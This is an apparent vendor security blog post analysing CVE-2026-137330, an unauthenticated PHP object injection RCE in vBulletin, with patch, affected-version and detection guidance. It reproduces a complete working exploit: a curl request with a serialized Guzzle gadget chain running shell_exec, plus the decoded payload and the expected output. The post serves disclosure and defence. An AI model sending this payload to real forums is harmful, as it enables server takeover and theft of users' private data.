Automated Threat Modeling

vBulletin CVE-2026-137330 (vBulletin2Shell): Unauthenticated PHP Object Injection RCE with PoC

CVE-2026-137330 (vBulletin2Shell) is an unauthenticated PHP object injection flaw in vBulletin that leads to remote code execution. Here is the public PoC request, the affected versions, and how to detect it.

CVE Analysis

11 min read

Gaurav Sarraf
Gaurav Sarraf

2026-12-02

vBulletin CVE-2026-137330 (vBulletin2Shell): Unauthenticated PHP Object Injection RCE with PoC

Introduction

One unauthenticated POST request is enough to run operating system commands on a self-hosted vBulletin forum affected by CVE-2026-137330, dubbed vBulletin2Shell. On any public-facing community running an unpatched release, that request reaches a PHP deserialization sink. The sink instantiates attacker-controlled objects, runs commands as the web server user, and can expose forum configuration and database contents, including private messages, email addresses, and password hashes.

vBulletin is commercial forum and community publishing software from MH Sub I, LLC dba vBulletin, a division of Internet Brands. The vendor describes itself as a world leader serving over 40,000 online communities. Many of those installations are internet accessible and accept guest requests, so an unauthenticated rendering path that reaches unserialize() is a particularly impactful place to find an object injection bug.

Technical Information

The vulnerability is classified as CWE-502, deserialization of untrusted data. The affected component parses BBCode attachment settings through the contententry_editor rendering endpoint, which unauthenticated guests can reach.

The root cause is straightforward: attacker-supplied data reaches unserialize() in includes/vb5/template/bbcode.php with no class or allowed-classes restriction. Guests can render nearly any template at this endpoint, so submitted POST fields become template variables, and the template passes conversation[rawtext] and conversation[attachments] into the BBCode parser (bbcode::parseWysiwyg()).

The attack flow documented by the researcher proceeds as follows:

  1. An unauthenticated visitor sends a POST request to /ajax/render/contententry_editor. An alternate route uses routestring=ajax/render/contententry_editor, which can appear in the query string or the request body.
  2. The guest-accessible template rendering turns the submitted POST fields into template variables and passes conversation[rawtext] and conversation[attachments] into the BBCode parser.
  3. An [ATTACH=CONFIG]n1[/ATTACH] tag directs the parser to read the settings of the attacker-supplied fake attachment, carried in conversation[attachments][0][settings].
  4. The parser passes that settings value to unserialize() with no restriction on object classes. This is the identified root cause: attacker-controlled serialized data becomes instantiated PHP objects.
  5. The payload is a two-object array. The first object, vB_Mail_Transport_PhpMailer_Smtp, triggers vBulletin's autoloader to load the bundled Guzzle library. The second object, GuzzleHttp\Cookie\FileCookieJar, is the POP gadget chain: on destruction it reaches FileCookieJar::__destruct(), then PumpStream::__toString(), then HandlerStack::resolve().
  6. HandlerStack::resolve() applies the stack of functions, last to first, to the handler string, effectively executing constant(base64_encode(shell_exec("id"))). The command runs as the web server user. Because constant() is given a non-existent name, PHP raises an Undefined constant error whose message contains the base64-encoded command output, returned in the JSON response.

The demonstration shows execution under the web server account, www-data. This supports remote command execution in the application's operating context. It does not, by itself, establish root or operating system administrator access. The confidentiality impact extends beyond the visible page: the researcher notes this account can read the forum configuration file and, through it, the database, which holds private messages, email addresses, and password hashes.

Two scoring vectors have been published. The researcher assigns CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical). VulnCheck, as CNA, and NVD report CVSS 4.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (9.3 Critical). These are different scoring versions, not a downgrade within the same system.

Proof of Concept

A complete, public, unauthenticated-RCE proof of concept exists, published by researcher Duarte Santos at vbulletin2shell.com and mirrored at duartecsantos.github.io. VulnCheck's advisory independently confirms the vulnerability mechanism and credits the same researcher. The interactive shell on the disclosure site is a client-side simulation, but the single, self-contained HTTP request documented alongside it is a genuine, working exploit for unauthenticated remote command execution.

The full PoC request as published:

curl -s https://forum.example.com/ajax/render/contententry_editor \ -H 'X-Requested-With: XMLHttpRequest' \ --data 'editPost=1' \ --data-urlencode 'conversation[rawtext]=[ATTACH=CONFIG]n1[/ATTACH]' \ --data 'conversation[attachments][0][nodeid]=1' \ --data 'conversation[attachments][0][settings]=a%3A2%3A%7Bi%3A0%3BO%3A32%3A%22vB_Mail_Transport_PhpMailer_Smtp%22%3A0%3A%7B%7Di%3A1%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A0%3A%7B%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3Bb%3A0%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3BO%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3A5%3A%7Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00source%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A23%3A%22GuzzleHttp%5CHandlerStack%22%3A3%3A%7Bs%3A32%3A%22%00GuzzleHttp%5CHandlerStack%00handler%22%3Bs%3A2%3A%22id%22%3Bs%3A30%3A%22%00GuzzleHttp%5CHandlerStack%00stack%22%3Ba%3A3%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22constant%22%3B%7Di%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22base64_encode%22%3B%7Di%3A2%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22shell_exec%22%3B%7D%7Ds%3A31%3A%22%00GuzzleHttp%5CHandlerStack%00cached%22%3BN%3B%7Di%3A1%3Bs%3A7%3A%22resolve%22%3B%7Ds%3A32%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00size%22%3BN%3Bs%3A35%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00tellPos%22%3Bi%3A0%3Bs%3A36%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00metadata%22%3BN%3Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00buffer%22%3BO%3A28%3A%22GuzzleHttp%5CPsr7%5CBufferStream%22%3A2%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CPsr7%5CBufferStream%00hwm%22%3Bi%3A16384%3Bs%3A36%3A%22%00GuzzleHttp%5CPsr7%5CBufferStream%00buffer%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A0%3B%7D%7D'

The URL-decoded settings payload, the serialized gadget chain:

a:2:{i:0;O:32:"vB_Mail_Transport_PhpMailer_Smtp":0:{}i:1;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\0GuzzleHttp\Cookie\CookieJar\0cookies";a:0:{}s:39:"\0GuzzleHttp\Cookie\CookieJar\0strictMode";b:0;s:41:"\0GuzzleHttp\Cookie\FileCookieJar\0filename";O:26:"GuzzleHttp\Psr7\PumpStream":5:{s:34:"\0GuzzleHttp\Psr7\PumpStream\0source";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"\0GuzzleHttp\HandlerStack\0handler";s:2:"id";s:30:"\0GuzzleHttp\HandlerStack\0stack";a:3:{i:0;a:1:{i:0;s:8:"constant";}i:1;a:1:{i:0;s:13:"base64_encode";}i:2;a:1:{i:0;s:10:"shell_exec";}}s:31:"\0GuzzleHttp\HandlerStack\0cached";N;}i:1;s:7:"resolve";}s:32:"\0GuzzleHttp\Psr7\PumpStream\0size";N;s:35:"\0GuzzleHttp\Psr7\PumpStream\0tellPos";i:0;s:36:"\0GuzzleHttp\Psr7\PumpStream\0metadata";N;s:34:"\0GuzzleHttp\Psr7\PumpStream\0buffer";O:28:"GuzzleHttp\Psr7\BufferStream":2:{s:33:"\0GuzzleHttp\Psr7\BufferStream\0hwm";i:16384;s:36:"\0GuzzleHttp\Psr7\BufferStream\0buffer";s:0:"";}}s:52:"\0GuzzleHttp\Cookie\FileCookieJar\0storeSessionCookies";b:0;}}

The expected response embeds the base64-encoded id output in an error message:

{"errors":[["unexpected_error","Undefined constant \"dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK\""]]}

Decoding the base64 string yields uid=33(www-data) gid=33(www-data) groups=33(www-data), confirming command execution. An attacker can change the handler string ("id") and the function stack to run arbitrary OS commands and read the vBulletin config and database, including private messages, emails, and password hashes.

Patch Information

The vendor directs administrators to download the patch package matching their installed version and upload the included files over the existing installation. Patch Level 1 packages are available for 6.2.2, 6.2.3, and 6.2.4. The researcher confirms the fix changes unserialize() to refuse all objects, which breaks the object injection chain at its root.

The official patching manual clarifies an operational distinction: patch packages are cumulative within their targeted version, but a patch package cannot upgrade a site to another base version. Installing a patch level requires uploading its files over the existing installation, and no upgrade script is required for that patch operation. Administrators running older releases should perform the vendor-recommended upgrade to 6.2.4 Patch Level 1. vBulletin Cloud is patched automatically by the vendor.

As a stopgap where immediate patching is not possible, block POST requests to /ajax/render/contententry_editor at a WAF, including the routestring=ajax/render/contententry_editor variant in both the query string and request body.

Detection Methods

As of this writing, no packaged detection content (Sigma, YARA, Snort, Suricata, or Nuclei) has been published for CVE-2026-137330. Detection therefore relies on request and response details. The exploit takes one unauthenticated HTTP request and returns its output in the same response, so web logs, WAFs, and reverse proxies give the best visibility. Check the route, the request body, and the response.

The route. The attack needs a POST to /ajax/render/contententry_editor. vBulletin also accepts the route as a routestring parameter, so the request can arrive with routestring=ajax/render/contententry_editor in the query string or in the POST body. A search of access logs for the URL path finds only the first form. A query-string routestring appears in access logs, but a body-borne routestring does not, so you need a WAF, a reverse proxy that captures request bodies, or packet capture. The exploit needs no session, so a guest POST to this route is more suspicious than one from a logged-in editor. The public PoC sends X-Requested-With: XMLHttpRequest, but real AJAX traffic also sends this header, so treat it as context, not an indicator on its own. A hit on this route alone does not prove an attack, since legitimate editor rendering uses it. Treat it as a filter.

The request body. With body inspection, look for these together:

  • conversation[rawtext] containing [ATTACH=CONFIG] ([ATTACH=CONFIG]n1[/ATTACH] in the PoC).
  • A conversation[attachments][0][settings] field, the value passed to unserialize(). The PoC also sends editPost=1 and conversation[attachments][0][nodeid]=1.
  • A serialized PHP object inside settings, i.e. O:<length>:"ClassName" syntax. The chain opens with a:2:{i:0;O:32:"vB_Mail_Transport_PhpMailer_Smtp":0:{} and is followed by GuzzleHttp\Cookie\FileCookieJar, GuzzleHttp\Psr7\PumpStream, GuzzleHttp\HandlerStack, and GuzzleHttp\Psr7\BufferStream.
  • PHP function names inside the HandlerStack stack array. The PoC chains constant, base64_encode, and shell_exec, plus resolve as the callback method.

Two caveats for matching logic. First, normalise: on the wire the payload is URL-encoded (: is %3A, " is %22, \ is %5C, NUL bytes are %00), so a rule that matches only decoded strings misses the raw request and vice versa. Second, match the structure, not the command: an attacker can swap the id command and the function chain, but the class names and the presence of any object in settings are much harder to change. The fix makes unserialize() refuse all objects here, so any O: object in an attachment settings value is a strong anomaly.

The response. The chain runs constant(base64_encode(shell_exec(cmd))), so PHP throws an error containing the base64-encoded output, returned in JSON:

{"errors":[["unexpected_error","Undefined constant \"dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK\""]]}

If your WAF, proxy, or APM captures response bodies, look for responses from this route containing unexpected_error with Undefined constant " followed by a long base64-looking string. Decoding it shows what the attacker ran. Searching PHP or application error logs for the same pattern is a reasonable follow-up, though the researcher does not document it.

Host-side follow-up. Successful exploitation runs OS commands as the web server user via shell_exec. If you find matching requests, look for process execution by the PHP or web server user around the request timestamps, and review access to the config file and unusual database activity.

Exposure checks. To find instances worth monitoring, the researcher suggests checking the home page generator meta tag, for example:

<meta name="generator" content="vBulletin 6.2.1" />

This tag shows the version but not the patch level. Anything older than 6.2.2 is vulnerable, but a 6.2.2, 6.2.3, or 6.2.4 banner cannot tell you whether Patch Level 1 is installed, so confirm on the host before marking a site clean. vBulletin Cloud is patched automatically. One upstream system listed the generic Detect2Shell scanner, but its current README does not include a vBulletin2Shell check, so do not count on it to find this vulnerability.

Affected Systems and Versions

Self-hosted vBulletin is affected under the following conditions:

  • Releases before 6.2.2 Patch Level 1. Fixed by 6.2.2 Patch Level 1, or the recommended full upgrade to 6.2.4 Patch Level 1 for older versions.
  • 6.2.3 before its Patch Level 1. Fixed by 6.2.3 Patch Level 1.
  • 6.2.4 before its Patch Level 1. Fixed by 6.2.4 Patch Level 1.

The decisive exposure condition is the missing security patch, not simply the displayed base version. vBulletin Cloud is automatically patched and verified by the vendor and requires no additional action.

Vendor Security History

vBulletin has a documented history relevant to how administrators should treat security fixes. The vendor published patches for CVE-2019-16759 on September 25, 2019, covering vBulletin Connect 5.5.2, 5.5.3, and 5.5.4, instructing customers to upload replacement files and noting that Cloud sites were already patched. NVD later described CVE-2020-17496 as remote command execution affecting 5.5.4 through 5.6.2, caused by an incomplete fix for CVE-2019-16759. That later issue used crafted subWidgets data against a different rendering endpoint and appears in CISA's Known Exploited Vulnerabilities Catalog.

The lesson here is specific: a previous vBulletin security fix was incomplete. For the current issue, the researcher's account identifies a concrete corrective change (refusing object deserialization), while the official manual emphasizes version-matched patch packages. Those facts support attention to the exact fix and release rather than relying on the existence of a security announcement alone. The researcher also reports six additional vulnerabilities from the same research, including CVE-2026-137328 (unauthenticated private message disclosure, 7.5 High) and CVE-2026-137329 (search result disclosure through IDOR, 6.5 Medium). These are separate vulnerabilities and should not be folded into CVE-2026-137330's impact or exploitation status.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization